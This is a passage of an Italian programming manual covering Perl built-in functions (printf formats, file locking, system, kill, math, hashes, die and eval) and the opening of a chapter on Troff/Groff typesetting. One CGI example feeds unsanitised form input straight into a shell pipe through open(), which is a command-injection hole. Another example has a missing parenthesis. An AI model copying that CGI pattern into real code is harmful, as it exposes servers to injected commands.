Simbolo	Corrispondenza
`%e`	Un numero a virgola mobile, in notazione scientifica.
`%f`	Un numero a virgola mobile, in notazione decimale fissa.
`%g`	Un numero a virgola mobile, secondo la notazione di '**`%e`**' o '**`%f`**'.
`%X`	Come '**`%x`**', ma con l'uso di lettere maiuscole.
`%E`	Come '**`%e`**', ma con l'uso della lettera '**`E`**' maiuscola.
`%G`	Come '**`%g`**', ma con l'uso della lettera '**`E`**' maiuscola (se applicabile).
`%p`	Un puntatore (l'indirizzo utilizzato da Perl in esadecimale).
`%n`	Immagazzina, nella prossima variabile, il numero di caratteri già emessi.
`%i`	Sinonimo di '**`%d`**'.
`%D`	Sinonimo di '**`%ld`**'.
`%U`	Sinonimo di '**`%lu`**'.
`%O`	Sinonimo di '**`%lo`**'.
`%F`	Sinonimo di '**`%f`**'.

Tabella 27.171. Elenco dei simboli utilizzabili tra il segno di percentuale e la lettera di conversione.

Simbolo	Corrispondenza
`spazio`	Il prefisso di un numero positivo è uno spazio.
`+`	Il prefisso di un numero positivo è il segno '**`+`**'.
`-`	Allinea a sinistra rispetto al campo.
`0`	Utilizza zeri, invece di spazi, per allineare a destra.
`#`	Prefissa un numero ottale con uno zero e un numero esadecimale con 0x...
n	Un numero definisce la dimensione minima del campo.
`.`***n***	Per i numeri a virgola mobile esprime la precisione, ovvero il numero di decimali.
`.`***n***	Per le stringhe definisce la lunghezza massima.
`.`***n***	Per gli interi definisce la lunghezza minima.
`l`	Interpreta un intero come il tipo C '**`long`**' o '**`unsigned long`**'.
`h`	Interpreta un intero come il tipo C '**`short`**' o '**`unsigned short`**'.

Simbolo	Corrispondenza
V	Interpreta un intero secondo il tipo standard di Perl.

Segue la descrizione di alcuni esempi.

- ```
  #!/usr/bin/perl
  $/ = "\r\n";
  while ($riga = <STDIN>)
    {
      chomp ($riga);
      print STDOUT ("$riga\n");
    }
  ```
  Quello che si vede è un esempio molto semplice di un filtro che trasforma un file di testo in stile Dos a uno in stile Unix. In pratica, viene definito che l'interruzione di riga è indicata attraverso la sequenza dei caratteri *<CR><LF>* ('**\r\n**'), che attraverso la funzione ***chomp()*** viene eliminata dalle righe lette. Infine, le righe vengono emesse attraverso lo standard output, con l'aggiunta del codice *<LF>* finale.

- ```
  close (MIO_FILE);
  ```
  Chiude il flusso di file '**MIO_FILE**'.

- ```
  use Fcntl ':flock';   # importa le costanti LOCK_…
  …
  open (ELENCO, ">>/home/tizio/mioelenco");
  flock (ELENCO, LOCK_EX);
  seek (ELENCO, 0, 2);
  print ELENCO $daelencare,"\n";
  flock (ELENCO, LOCK_UN);
  ```
  Vengono eseguite le operazioni seguenti:

  - si caricano le costanti di definizione dei tipi di blocco attraverso l'istruzione '**use Fcntl ':flock';**';
  - si apre il file '`/home/tizio/mioelenco`' in aggiunta;
  - si blocca il file in modo esclusivo;
  - per sicurezza si posiziona il puntatore del file alla fine dello stesso;
  - si inserisce una riga nel file;
  - si rilascia il blocco.
  ```

- ```
  use Fcntl ':flock';   # importa le costanti LOCK_...
  ...
  open (ELENCO, ">> /home/tizio/mioelenco");
  if (flock (ELENCO, (LOCK_EX)+(LOCK_NB)))
    {
      seek (ELENCO, 0, 2);
      print ELENCO $daelencare,"\n";
      flock (ELENCO, LOCK_UN);
    }
  else
    {
      print STDOUT "Il file è impegnato.\n";
    }
  ```

  Si tratta di una variante dell'esempio precedente in cui si richiede un blocco esclusivo senza attesa. Se il blocco ha successo, si procede, altrimenti viene segnalata la presenza del blocco eseguito da un altro processo (si osservi il fatto che le macro sono state racchiuse tra parentesi tonde prima di sommarle assieme).

- ```
  if (open (ORDINI, ">> /var/log/ordini"))
    {
      if (flock (ORDINI, LOCK_EX))
        {
          seek (ORDINI, 0, 2);
          print ORDINI ("$ordine\n");
        }
      close (ORDINI);
    }
  ```

  Tenta di aprire il file '`/var/log/ordini`' in aggiunta, quindi tenta di bloccarlo in modo esclusivo. Se ci riesce sposta il puntatore alla fine del file, per sicurezza, quindi inserisce un nuovo ordine. Infine chiude il file.

- ```
  if (open (MAN, "man $DATI{sezione} $DATI{man} | col -bx |"))
    {
      print "Content-type: text/html\n";
      print "\n";
      print "<HTML>\n";
      print "<HEAD>\n";
      print "<TITLE>man $DATI{sezione} $DATI{man}</TITLE>\n";
      print "</HEAD>\n";
      print "<BODY>\n";
      print "<H1>man $DATI{sezione} $DATI{man}</H1>\n";
      print "<PRE>\n";

      while ($risposta = <MAN>)
        {
          print $risposta;
        }

      print "</PRE>\n";
      print "</BODY>\n";
      print "</HTML>\n";
  }
  ```
  Genera una pagina HTML a partire da un comando '**`man`**'.

- ```
  print "Ciao, come stai?\n";
  ```
  Emette attraverso lo standard output il messaggio indicato come argomento.

- ```
  print STDERR "Errore $errore\n";
  ```
  Emette attraverso lo standard error il messaggio indicato come argomento.

- ```
  print { $elenco_file[$i] } "Bla bla bla\n";
  ```
  Inserisce il messaggio nel flusso di file indicato da '**`$elenco_file[$i]`**'.

- ```
  print { $ok ? STDOUT : STDERR } ("Bla bla bla\n");
  ```
  Emette il messaggio attraverso lo standard output, oppure lo standard error, a seconda del valore contenuto in '**`$ok`**'.

- ```
  seek (MIO_FILE, 0, 2);
  ```
  Posiziona alla fine del file in modo da poter aggiungere successivamente qualcosa a questo.

- ```
  seek (MIO_FILE, 0, 0);
  ```
  Posiziona all'inizio del file.

```
select (MIO_FILE);
…
print ("ciao a tutti\n");
```

Aggiunge al file identificato dal flusso di file '**`MIO_FILE`**' il messaggio '**`ciao a tutti`**'.
```

27.17.4 Interazione con il sistema

Vengono descritte alcune funzioni per l'interazione con il sistema.

Tabella 27.185. Funzioni Perl per l'interazione con il sistema operativo.

Funzione	Descrizione
`exec` ***elenco***	***exec()*** avvia l'esecuzione del comando indicato negli argomenti, senza riprendere l'esecuzione del programma al termine. Si comporta quindi in modo analogo al comando interno omonimo delle shell comuni.
`kill` ***segnale*** , ***elenco_di_processi***	***kill()*** invia un segnale a una serie di processi. Il primo argomento deve essere il segnale. Restituisce il numero di processi che hanno ricevuto il segnale.
`sleep` ***secondi***	***sleep()*** mette in pausa l'esecuzione del programma, per il numero di secondi indicato come argomento, eventualmente attraverso un'espressione. Se l'argomento non viene indicato, la pausa non ha fine. L'attesa può essere interrotta inviando un segnale '**`SIGALRM`**' al processo. Restituisce il numero di secondi trascorsi effettivamente.
`system` ***elenco***	***system()*** avvia l'esecuzione del comando indicato negli argomenti, attende la sua conclusione e restituisce il valore generato dal comando stesso.
`time`	***time()*** restituisce la data e l'ora attuale espressa in secondi trascorsi dalla data iniziale gestita dal sistema. Nel caso della maggior parte dei sistemi Unix si tratta dell'ora zero del 1/1/1970. Il valore ottenuto da ***time()*** può essere utilizzato dalle funzioni ***gmtime()*** e ***localtime()***.
`times`	***times()*** restituisce un array di quattro elementi che indicano rispettivamente: orario dell'utente; orario di sistema; orario dell'utente del processo figlio; orario di sistema del processo figlio.
`umask` ***maschera_numerica***	***umask()*** permette di definire la maschera dei permessi per il processo elaborativo del programma. Restituisce il valore precedente. La maschera è espressa in forma numerica; ciò significa che se la maschera da indicare come argomento è una stringa, potrebbe essere necessario l'utilizzo della funzione ***oct()*** per garantire l'interpretazione ottale e non a base 10.

Segue la descrizione di alcuni esempi.

- ```
  exec ("ls");
  ```
  Esegue il comando '**`ls`**' e conclude il funzionamento del programma. In pratica, le istruzioni successive a ***exec()***, non vengono eseguite.

- ```
  kill ("TERM", 588);
  ```
  Invia il segnale '**`SIGTERM`**' al processo numero 588.

- ```
  kill (15, 588);
  ```
  Esattamente come nell'esempio precedente.

- ```
  kill (-15, 588);
  ```

Come nell'esempio precedente, ma il segnale viene inviato anche a tutti i processi discendenti da quello indicato.

- ```
  sleep;
  ```

  Mette il programma in pausa senza specificare la fine di questa.

- ```
  sleep (10);
  ```

  Mette il programma in pausa per 10 secondi.

- ```
  sleep ($pausa);
  ```

  Mette il programma in pausa per la quantità di secondi indicata dalla variabile '**`$pausa`**'.

- ```
  system ("ls");
  ```

  Esegue il comando '**`ls`**' e poi riprende con il programma.

- ```
  if (system ("mkdir ciao")
    {
      die("La creazione della directory è fallita\n");
    }
  else
    {
      print ("La directory è stata creata\n");
    }
  ```

  L'esempio mostra il caso in cui si voglia controllare l'esito di un comando di sistema avviato attraverso la funzione ***system()***. Se il comando '**`mkdir ciao`**' viene eseguito con successo, restituisce il valore zero, che per Perl equivale a *Falso*. Quindi, se la condizione si avvera, significa che l'operazione è fallita, altrimenti, tutto è andato bene.

- ```
  ($user, $system, $cuser, $csystem) = times;
  ```

  Scompone l'array restituito da ***times()*** in quattro variabili scalari.

- ```
  $maschera = '644';
  umask (oct ($maschera));
  ```

  Modifica la maschera dei permessi in modo che sia pari a 0644_8. Dal momento che l'informazione è contenuta in una stringa, che per di più non ha lo zero iniziale della rappresentazione ottale convenzionale, occorre convertire prima la stringa in numero nel modo corretto.

27.17.5 Funzioni matematiche

Perl fornisce una serie di funzioni matematiche tipiche della maggior parte dei linguaggi di programmazione.
  ```

Tabella 27.197. Funzioni Perl di tipo matematico.

Funzione	Descrizione
`abs` ***x***	***abs()*** restituisce il valore assoluto del suo argomento. Se l'argomento non viene indicato, si utilizza la variabile predefinita '**`$_`**'.
`atan2` ***x*,*y***	***atan2()*** restituisce l'arcotangente nell'intervallo da −PI a +PI.
`cos` ***x***	***cos()*** restituisce il coseno. Se l'argomento non viene indicato, si utilizza la variabile predefinita '**`$_`**'.
`exp` ***x***	***exp()*** restituisce ***e*** (la base del logaritmo naturale) elevato al valore di ***x***, cioè dell'argomento. Se l'argomento non viene indicato, si utilizza la variabile predefinita '**`$_`**'.
`int` ***x***	***int()*** restituisce la parte intera del numero (o dell'espressione) fornito come argomento. Se l'argomento non viene indicato, si utilizza la variabile predefinita '**`$_`**'.
`log` ***x***	***log()*** restituisce il logaritmo naturale del valore fornito come argomento. Se l'argomento non viene indicato, si utilizza la variabile predefinita '**`$_`**'.
`sin` ***x***	***sin()*** restituisce il seno. Se l'argomento non viene indicato, si utilizza la variabile predefinita '**`$_`**'.
`sqrt` ***x***	***sqrt()*** restituisce la radice quadrata. Se l'argomento non viene indicato, si utilizza la variabile predefinita '**`$_`**'.

27.17.6 Funzioni di conversione

Nel seguito sono elencate le funzioni che si occupano di convertire dati in formati differenti.

Tabella 27.198. Funzioni Perl per la conversione dei dati.

Funzione	Descrizione
`chr` ***n***	***chr()*** restituisce il carattere corrispondente al numero indicato come argomento. Se non viene specificato l'argomento, il numero viene letto dalla variabile '**`$_`**'.
`hex` ***stringa***	***hex()*** interpreta il proprio argomento come una stringa contenente un numero esadecimale. Restituisce il numero (decimale) corrispondente. Se non viene specificato l'argomento, il dato viene letto dalla variabile '**`$_`**'.
`oct` ***stringa***	***oct()*** interpreta il proprio argomento come una stringa contenente un numero ottale. Restituisce il numero (decimale) corrispondente. Se non viene specificato l'argomento, il dato viene letto dalla variabile '**`$_`**'.
`ord` ***stringa***	***ord()*** restituisce il valore numerico corrispondente al codice ASCII del primo carattere della stringa fornita come argomento. Se non viene specificato l'argomento, il dato viene letto dalla variabile '**`$_`**'.

Segue la descrizione di alcuni esempi.

- ```
  chr (65);
  ```
  Restituisce la lettera '**`A`**' maiuscola.

- ```
  hex ("0xAf");
  ```

Restituisce il numero 175.

- ```
  hex ("af");
  ```
  Restituisce il numero 175.

- ```
  $permessi = '0755';
  mkdir ("/tmp/prova", oct ($permessi));
  ```
  Crea la directory '`/tmp/prova/`' con i permessi 0755_8. Dal momento che questi permessi sono contenuti in una variabile, in forma di stringa, devono essere convertiti in ottale prima dell'uso, altrimenti verrebbero interpretati in forma decimale.

27.17.7 Gestione delle espressioni

Sono elencate nel seguito le funzioni che si occupano di gestire l'esecuzione delle espressioni (quando necessario) e di conoscerne alcune caratteristiche.

Tabella 27.203. Funzioni Perl per il controllo delle espressioni e delle loro caratteristiche.

Funzione	Descrizione
`defined` ***espressione***	***defined()*** restituisce *Vero* se l'espressione (o la variabile) restituisce un valore diverso da indefinito. Il valore indefinito può essere restituito in particolare nelle situazioni seguenti: la lettura oltre la fine del file; un errore di sistema; una variabile non ancora inizializzata. È importante non confondere il valore indefinito con lo zero o la stringa nulla: si tratta di tre cose differenti, in particolare, zero e stringa nulla sono valori definiti.
`scalar` ***espressione***	***scalar()*** restituisce il risultato dell'espressione valutato in un contesto espressamente scalare.

27.17.8 Array e hash

Vengono elencate qui le funzioni che sono particolarmente dedicate alla gestione di array e hash.

Tabella 27.204. Funzioni Perl per la gestione di array.

Funzione	Descrizione
`delete` ***espressione***	***delete()*** elimina uno o più elementi da un hash. L'espressione che rappresenta l'argomento della funzione deve rappresentare uno o più elementi dell'hash. Restituisce i valori cancellati, cioè quelli abbinati alle chiavi indicate per la cancellazione.
`exists` ***espressione***	***exists()*** verifica l'esistenza di una chiave all'interno di un hash. Se esiste, anche se il valore corrispondente dovesse risultare indefinito, restituisce *Vero*. L'espressione che rappresenta l'argomento della funzione deve rappresentare un solo elemento dell'hash.
`keys` ***hash***	***keys()*** restituisce un array composto da tutte le chiavi dell'hash posto come argomento.
`pop` ***array***	***pop()*** restituisce l'ultimo elemento dell'array eliminandolo dall'array stesso (accorciandolo). In pratica tratta l'array come una pila (*stack*) ed esegue un'azione di *pop*.

Funzione	Descrizione
`push` ***array*** **,** ***lista***	***push()*** aggiunge all'array indicato come primo argomento gli elementi della lista successiva. In pratica tratta l'array come una pila (*stack*) ed esegue un'azione di *push*.
`splice` ***array*** **,** ***posizione_iniziale*** **,** ↩ ↪***lunghezza*** **,** ***lista*** `splice` ***array*** **,** ***posizione_iniziale*** **,** ↩ ↪***lunghezza*** `splice` ***array*** **,** ***posizione_iniziale***	***splice()*** elimina dall'array, indicato come primo argomento, gli elementi collocati a partire dalla posizione iniziale, indicata come secondo argomento, per una quantità definita dal terzo argomento. Se il terzo argomento (la quantità di elementi da eliminare) viene omesso, vengono eliminati tutti gli elementi a partire dalla posizione iniziale. Se dopo il numero di argomenti da eliminare appaiono altri argomenti, vengono interpretati come una lista da inserire in sostituzione degli elementi cancellati. In tal modo, attraverso questa funzione, si può accorciare e allungare un array a piacimento, intervenendo in qualunque punto dello stesso.

Segue la descrizione di alcuni esempi.

- ```
  delete $miohash{ $miachiave };
  ```
  Elimina dall'hash '**`%miohash`**' l'elemento rappresentato dalla chiave contenuta nella variabile '**`$miachiave`**'.

- ```
  if (exists $miohash{ $miachiave })
    {
      ...
    }
  ```
  Verifica l'esistenza dell'elemento rappresentato dalla chiave contenuta nella variabile '**`$miachiave`**', all'interno dell'hash '**`%miohash`**'. In caso affermativo esegue alcune istruzioni.

27.17.9 Controllo dell'esecuzione del programma

Nel seguito sono elencate le funzioni che sono utili per controllare l'esecuzione di un programma Perl. In particolare ciò che permette di gestire le situazioni di errore.

Tabella 27.207. Funzioni Perl per la gestione delle situazioni di errore.

Funzione	Descrizione
`die` ***lista***	***die()*** emette il contenuto degli elementi della lista fornita come argomento attraverso lo standard error e quindi termina l'esecuzione del programma. Il programma Perl terminato in questo modo restituisce generalmente il valore contenuto dalla variabile '**`$!`**'.
`do` ***file***	***do()*** permette di includere il file indicato come argomento. In generale viene usato per inserire delle subroutine esterne.

Funzione	Descrizione
`eval` ***blocco*** `eval` ***espressione***	***eval()*** permette di controllare l'esecuzione di un blocco di istruzioni, in modo da limitare i danni in caso di interruzione. In pratica, se all'interno del blocco si manifesta un errore di sintassi o di esecuzione, o ancora se viene incontrata un'istruzione ***die()***, ***eval()*** restituisce un valore indefinito e l'esecuzione del programma continua. Se si manifesta un errore, questo viene riportato dalla variabile '**`$@`**'. Nel caso non si verifichino errori, ***eval()*** restituisce il valore dell'ultima espressione del blocco di istruzioni controllato.
`exit` ***espressione***	***exit()*** valuta l'espressione posta come argomento e termina l'esecuzione del programma restituendo all'esterno quel valore. È importante ricordare che dal punto di vista dei programmi, la restituzione del valore zero corrisponde a una conclusione con successo, mentre un valore pari a uno o superiore, rappresenta una conclusione anomala.
`require` ***espressione*** `require` ***file***	***require()*** permette di specificare nel programma l'esigenza di qualcosa. Se si tratta di un'espressione il cui risultato è numerico, si vuole indicare che il programma richiede un interprete '**`perl`**' di versione maggiore o uguale a quel numero. Se si tratta di una stringa si intende che il programma richiede l'inclusione del file corrispondente come libreria. L'inclusione del file si ottiene solo se ciò non è già avvenuto.
`warn` ***lista***	***warn()*** emette il contenuto degli elementi della lista fornita come argomento attraverso lo standard error. Solitamente, ***warn()*** viene utilizzato come ***die()*** nelle situazioni in cui non è necessario interrompere l'esecuzione del programma.

Segue la descrizione di alcuni esempi.

- ```
  if (chdir '/var/spool/lpd')
    {
      …
    }
  else
    {
      die "L'operazione non è consentita.\n";
    }
  ```
  Se lo spostamento nella directory '`/var/spool/lpd/`' fallisce, visualizza il messaggio attraverso lo standard error e termina.

- ```
  do 'prova.pl';
  ```
  Esegue il contenuto del file '`prova.pl`'.

- ```
  if (chdir '/var/spool/lpd')
    {
      …
    }
  else
    {
      print "L'operazione non è consentita.\n";
      exit 1;
    }
  ```

  Se lo spostamento nella directory '`/var/spool/lpd/`' fallisce, visualizza il messaggio e termina restituendo il valore uno.

27.18 Riferimenti

- Johan Vromans, *Perl 5 Desktop Guide*, O'Reilly & Associates

  ⟨*ftp://ftp.perl.org/pub/CPAN/authors/Johan_Vromans/*⟩

[1] Anche se la documentazione fa esplicito riferimento a questa possibilità, può darsi che non sia possibile evitare di indicare i permessi. Nello stesso modo, anche se si indicano i permessi non è garantito che questi vengano rispettati fedelmente dal sistema operativo sottostante, come descritto nell'esempio successivo.
  ```

Capitolo 28

Introduzione a *roff

28.1 Logica di funzionamento ed esempio di partenza 1534
28.1.1 Avvio degli eseguibili «troff» e «nroff» 1534
28.1.2 Macro e stile 1535
28.1.3 Istruzioni contenute nel testo sorgente 1536
28.1.4 Spazi superflui 1536
28.1.5 Esempio per cominciare 1536
28.2 Istruzioni fondamentali di Troff 1538
28.2.1 Argomenti numerici e unità di misura 1538
28.2.2 Dimensione e distanza tra le righe 1539
28.2.3 Caratteri da stampa 1541
28.2.4 Rientri e dimensioni varie 1544
28.2.5 Allineamento e interruzione del testo 1546
28.2.6 Tabulazioni 1547
28.2.7 Comandi che causano un «break» 1548
28.2.8 Macro 1549
28.2.9 Margini e Intestazioni 1552
28.2.10 Ambienti 1554
28.2.11 Titoli 1554
28.2.12 Importazione di file esterni 1555
28.3 Precompilatori 1557
28.3.1 Tbl 1557
28.3.2 Eqn 1559
28.4 Groff 1560
28.5 Documentazione Man 1562
28.6 Riferimenti 1564

Troff e Nroff sono programmi di elaborazione e impaginazione testi per la produzione di documenti che possano essere riprodotti anche attraverso sistemi di stampa elementare, come gli schermi dei terminali a caratteri. Troff e Nroff sono due programmi più o meno compatibili che si completano a vicenda: il primo permette la stampa di qualità grafica, mentre il secondo è specializzato per la produzione di formati elementari come quello per lo schermo a caratteri. La distinzione è dettata dalla tradizione, dal momento che spesso si tratta dello stesso programma, avviato con nomi differenti.

Troff è nato nel 1973, scritto in linguaggio *assembler* per il PDP-11, riscritto successivamente in C. Ancora oggi Troff fa parte integrante della storia di Unix, in particolare per il fatto è il

sistema di presentazione delle pagine di manuale. Pertanto, anche i sistemi GNU ne hanno uno: Groff.

Gli esempi di questo capitolo si basano principalmente su Groff, per il quale, nel momento in cui si scrivono queste note, non esiste la possibilità di leggere un file sorgente in formato UTF-8, mentre è possibile solo generare un risultato adatto a un terminale che utilizza invece tale codifica.

28.1 Logica di funzionamento ed esempio di partenza

Troff e Nroff si occupano di trasformare un testo, scritto con determinati codici di composizione, in un formato intermedio che successivamente deve essere rielaborato da un programma specifico per il tipo di stampa o visualizzazione che si vuole ottenere. Per arrivare a questo, si utilizza normalmente un condotto, più o meno nella forma seguente:

`troff` ***sorgente_troff*** | ***programma_di_rielaborazione***

`nroff` ***sorgente_nroff*** | ***programma_di_rielaborazione***

Per il momento, questo deve essere visto solo come un concetto di massima, perché in pratica manca ancora qualcosa. Lo sviluppo di questo sistema di composizione ha portato alla nascita di programmi di contorno che si occupano di semplificare la descrizione tipografica di elementi comuni di composizione. Questi programmi si collocano generalmente prima di '**`troff`**' o '**`nroff`**'. Nello schema seguente si fa un esempio dell'uso di Eqn, un filtro che facilita l'inserimento delle equazioni in un sorgente Troff.

`eqn` ***sorgente_troff*** | `troff` | ***programma_di_rielaborazione***

In tal caso, come si vede, '**`troff`**' riceve il sorgente dallo standard input.

28.1.1 Avvio degli eseguibili «troff» e «nroff»

Gli eseguibili '**`troff`**' e '**`nroff`**' trasformano i file indicati tra gli argomenti, oppure lo standard input, in un formato intermedio contenente le informazioni necessarie per ottenerne la stampa o la visualizzazione.

`troff` [***opzioni***] [***sorgente_troff***...]

`nroff` [***opzioni***] [***sorgente_nroff***...]

Il sorgente per '**`troff`**' è un po' diverso da quello di '**`nroff`**', ma in generale si usa quasi sempre solo il primo, essendo quello che richiede l'indicazione di più dettagli.

Le opzioni seguenti sono comuni al Troff originale e a quello di GNU.

Opzione	Descrizione
`-a`	Genera una composizione approssimativa del risultato, in formato testo (ASCII).
`-i`	Dopo aver letto i file indicati negli argomenti, legge anche dallo standard input.
`-n`***n_iniziale***	Permette di stabilire esplicitamente il numero della prima pagina.
`-o`***elenco_pagine***	Permette di specificare le pagine da stampare. L'elenco è separato da virgole (senza l'inserzione di spazi) e si possono indicare degli intervalli attraverso una notazione del tipo '***m*-*n***'. In particolare, se in un intervallo non viene indicata la pagina iniziale, si intende la prima, se invece manca quella finale, si intende l'ultima.
`-r`***registro numero***	Permette di definire il valore di un registro. Il registro è espresso da un lettera alfabetica, mentre il numero può essere espresso attraverso un'espressione numerica di Troff.
`-m`***nome***	Definisce il nome di un gruppo di macro da utilizzare prima di iniziare l'interpretazione dei file. Si tratta del riferimento al file che corrisponde al modello '`tmac.`***nome***', contenuto in una directory appropriata in base alla realizzazione di Troff.
`-T`***nome_dispositivo***	Permette di specificare il tipo di dispositivo di stampa, o di visualizzazione, per il quale viene composto il documento. Anche se il formato generato da Troff non è quello finale, ciò dipende dalla scelta fatta con questa opzione.
`-F`***percorso***	Permette di indicare la directory contenente le informazioni sui caratteri che si vogliono utilizzare.

Segue la descrizione di alcuni esempi.

- `$` **`troff -Tps -ms mio.troff`** [*Invio*]

  Elabora il file '`mio.troff`', utilizzando il dispositivo '**`ps`**' e il pacchetto di macro '**`s`**' ('`tmac.s`').

- `$` **`troff -Tps -ms -o4,6,8-10 mio.troff`** [*Invio*]

  Come nell'esempio precedente, limitandosi a emettere il risultato riferito alle pagine 4, 6, 8, 9 e 10.

28.1.2 Macro e stile

I sorgenti Troff potrebbero essere realizzati fornendo tutte le indicazioni necessarie a definire l'aspetto finale del documento e utilizzando solo le istruzioni elementari di questo sistema di composizione. In alternativa possono essere definite delle macro, all'interno del sorgente stesso o in file esterni. È normale fare uso di Troff facendo riferimento a un file di macro esterno, che in pratica permette di definire uno stile generale del documento; per questo si utilizza l'opzione standard '**`-m`**', come viene mostrato in seguito negli esempi. In ogni caso il pacchetto di macro più comune, già dalle origini di Troff, è '**`s`**', corrispondente al file '`tmac.s`'.[1]

28.1.3 Istruzioni contenute nel testo sorgente

Le istruzioni di Troff possono distinguersi fondamentalmente in: comandi, che iniziano sempre con un punto singolo nella prima colonna del sorgente, e sequenze di escape che possono essere collocate all'interno del testo normale. Un comando appare sempre da solo in una riga, come nel caso seguente,

```
Testo normale
.ft B
testo in neretto
```

dove '**`testo normale`**' e '**`testo in neretto`**' sono intesi come una sequenza che potrebbe risultare riprodotta sulla stessa riga, o comunque appartenendo in ogni caso allo stesso paragrafo. In particolare, dopo l'apparizione del comando '**`.ft B`**', il testo viene reso in neretto. Una sequenza di escape, al contrario, non interrompe il testo nel sorgente:

```
Testo normale \fBtesto in neretto
```

In questo caso, '**`\fB`**' è una sequenza di escape che indica l'inizio del neretto. Come si può intuire, non è possibile iniziare una riga di testo con un punto, perché questo verrebbe interpretato come un comando di Troff; nello stesso modo, alcune sequenze di escape seguite da testo normale possono essere interpretate in modo erroneo.

28.1.4 Spazi superflui

Troff è sensibile alla presenza di spazi orizzontali e verticali superflui; questi vengono mantenuti nel documento finale. In condizioni normali, Troff ignora le interruzioni di riga inserite nel sorgente: quando quello che segue è un comando o un'altra riga di testo, sostituisce queste interruzioni con uno spazio orizzontale normale, ricomponendo in pratica i paragrafi a seconda del formato finale.

28.1.5 Esempio per cominciare

Anche se non è stato ancora mostrato il «linguaggio» di un sorgente Troff, contando sull'intuizione del lettore, è il caso di proporre un esempio elementare che permetta di verificarne il funzionamento.

```
.\"  Questo è un esempio di documento scritto utilizzando il linguaggio
.\"  di composizione Troff.
.\"
.\"  Viene definita la dimensione del testo: il margine sinistro di
.\"  4 cm e l'ampiezza del testo di 8 cm.
.po 4c
.ll 8c
.\"  Inizia il documento.
.ft B
1. Introduzione a Troff

.ft P
Questo \(`e un esempio di documento scritto in modo
```

```
tale da poter essere elaborato con Troff.
In questo caso, si presume che verr\(`a utilizzato
lo stile ``\fBs\fP'' (con l'opzione \fB\-ms\fP).

.ft B
1.1 Paragrafi

.ft P
Il testo di un paragrafo termina quando nel sorgente viene
incontrata una riga vuota.

Per la precisione, gli spazi verticali vengono rispettati,
per cui le righe vuote si traducono in spazi tra i paragrafi,
anche quando queste sono pi\(`u di una.



Questo \(`e l'inizio di un nuovo paragrafo dopo tre righe
vuote di separazione.
```

Supponendo che il file si chiami '`esempio.troff`' e che si utilizzi la versione GNU di Troff, si potrebbe ottenere la conversione in PostScript attraverso il comando seguente, che genera il file '`esempio.ps`'.

$ **`troff -Tps -ms esempio.troff | grops > esempio.ps`** [*Invio*]

In alternativa, si potrebbe ottenere un file adatto per la visualizzazione attraverso un terminale a caratteri, configurato per la codifica ISO 8859-1, con il comando seguente:

$ **`troff -Tlatin1 -ms esempio.troff | grotty > esempio.tty`** [*Invio*]

Oppure, se il terminale è configurato per la codifica UTF-8:

$ **`troff -Tutf8 -ms esempio.troff | grotty > esempio.tty`** [*Invio*]

I risultati si vedono nella figura 28.5. Da queste non si vedono i margini, ma per il momento il problema è trascurabile.

Figura 28.5. A sinistra il risultato della composizione del sorgente Troff di esempio in PostScript; a destra il risultato della composizione per la visualizzazione attraverso un terminale a caratteri.

1. Introduzione a Troff

Questo è un esempio di documento scritto in modo tale da poter essere elaborato con Troff. In questo caso, si presume che verrà utilizzata lo stile **"s"** (con l'opzione **–ms**).

1.1 Paragrafi

Il testo di un paragrafo termina quando nel sorgente viene incontrata una riga vuota.

Per la precisione, gli spazi verticali vengono rispettati, per cui le righe vuote si traducono in spazi tra i paragrafi, anche quando queste sono più di una.

Questo è l'inizio di un nuovo paragrafo dopo tre righe vuote di separazione.

```
1. Introduzione a Troff

Questo  è  un  esempio di docu-
mento scritto in modo  tale  da
poter   essere   elaborato  con
Troff.  In questo caso, si pre-
sume  che  verrà  utilizzata lo
stile   ``s''   (con   l'opzione
-ms).

1.1 Paragrafi

Il  testo  di un paragrafo ter-
mina quando nel sorgente  viene
incontrata una riga vuota.

Per  la  precisione,  gli spazi
verticali  vengono  rispettati,
per  cui le righe vuote si tra-
ducono in  spazi  tra  i  para-
grafi, anche quando queste sono
più di una.



Questo è l'inizio di  un  nuovo
paragrafo  dopo tre righe vuote
di separazione.
```

In questo esempio si fa uso del pacchetto di macro '`s`', che tra le altre cose definisce i margini del testo. All'inizio del sorgente sono stati usati espressamente dei comandi per modificare i margini, in deroga a quanto prestabilito dallo stile del pacchetto di macro prescelto.

28.2 Istruzioni fondamentali di Troff

In queste sezioni viene mostrato l'uso di alcune istruzioni fondamentali di Troff. La loro descrizione è limitata anche in considerazione del fatto che Troff è un sistema di composizione superato, benché tuttora efficace; infatti, al suo posto conviene approfondire piuttosto l'uso di altri programmi, come TeX per esempio.

Alla fine di queste sezioni si trova una tabella riassuntiva dei comandi «vitali» di Troff, cioè di quelli che vengono descritti qui.

28.2.1 Argomenti numerici e unità di misura

Alcuni comandi hanno un argomento numerico che esprime una quantità o una dimensione. A seconda della circostanza, tale valore può essere espresso in modo fisso, oppure come incremento o riduzione. Se è ammissibile l'incremento, tale numero può essere indicato prefissato dal segno '`+`', se è possibile la riduzione può essere prefissato dal segno '`-`'. Gli incrementi e le riduzioni permettono di scrivere istruzioni relative, che si adattano a seconda di altre scelte già fatte nel sorgente Troff. In alcuni casi ci sono dei valori che possono essere espressi in forma frazionaria, utilizzando il punto per separare la parte intera dalle cifre decimali.

Quando gli argomenti riguardano valori che esprimono una lunghezza, possono essere seguiti immediatamente da una lettera che ne esprima l'unità di misura. La tabella 28.6 mostra l'elenco di queste sigle.

Tabella 28.6. Sigle di identificazione dell'unità di misura.

Sigla	Unità di misura corrispondente
`i`	Pollici.
`c`	Centimetri.
`P`	Pica = 1/6 di pollice.
`m`	Dimensione della lettera «m».
`n`	Dimensione della lettera «n».
`p`	Punti = 1/72 di pollice.
`u`	Unità base.
`v`	Altezza della riga.

28.2.2 Dimensione e distanza tra le righe

Normalmente, il corpo dei caratteri è di 10 punti e la distanza tra le righe è di 12 punti. Il comando normale per ridefinire il corpo è '**`.ps`**', che sta per *Point size*:

```
.ps [[+|-]n]
```

Come si vede dallo schema sintattico, questo comando ammette la possibilità di fissare il valore, oppure di incrementarlo e di diminuirlo indicando una dimensione espressa in punti tipografici (lo si intuisce dal nome). Se non viene fornito l'argomento numerico, si intende ripristinare la dimensione al valore fissato precedentemente.

In alternativa può essere usata la sequenza di escape '**`\s`**', secondo la sintassi seguente:

```
\s[+|-]n
```

È importante osservare che il numero di punti che può essere indicato dipende dalla disponibilità effettiva in base al tipo di carattere a disposizione; inoltre, nel caso della sequenza di escape '**`\s`**', possono essere utilizzate solo **due** cifre numeriche. In particolare, se si utilizza la dimensione nulla, cioè il numero zero, si ottiene il ripristino della dimensione precedente.

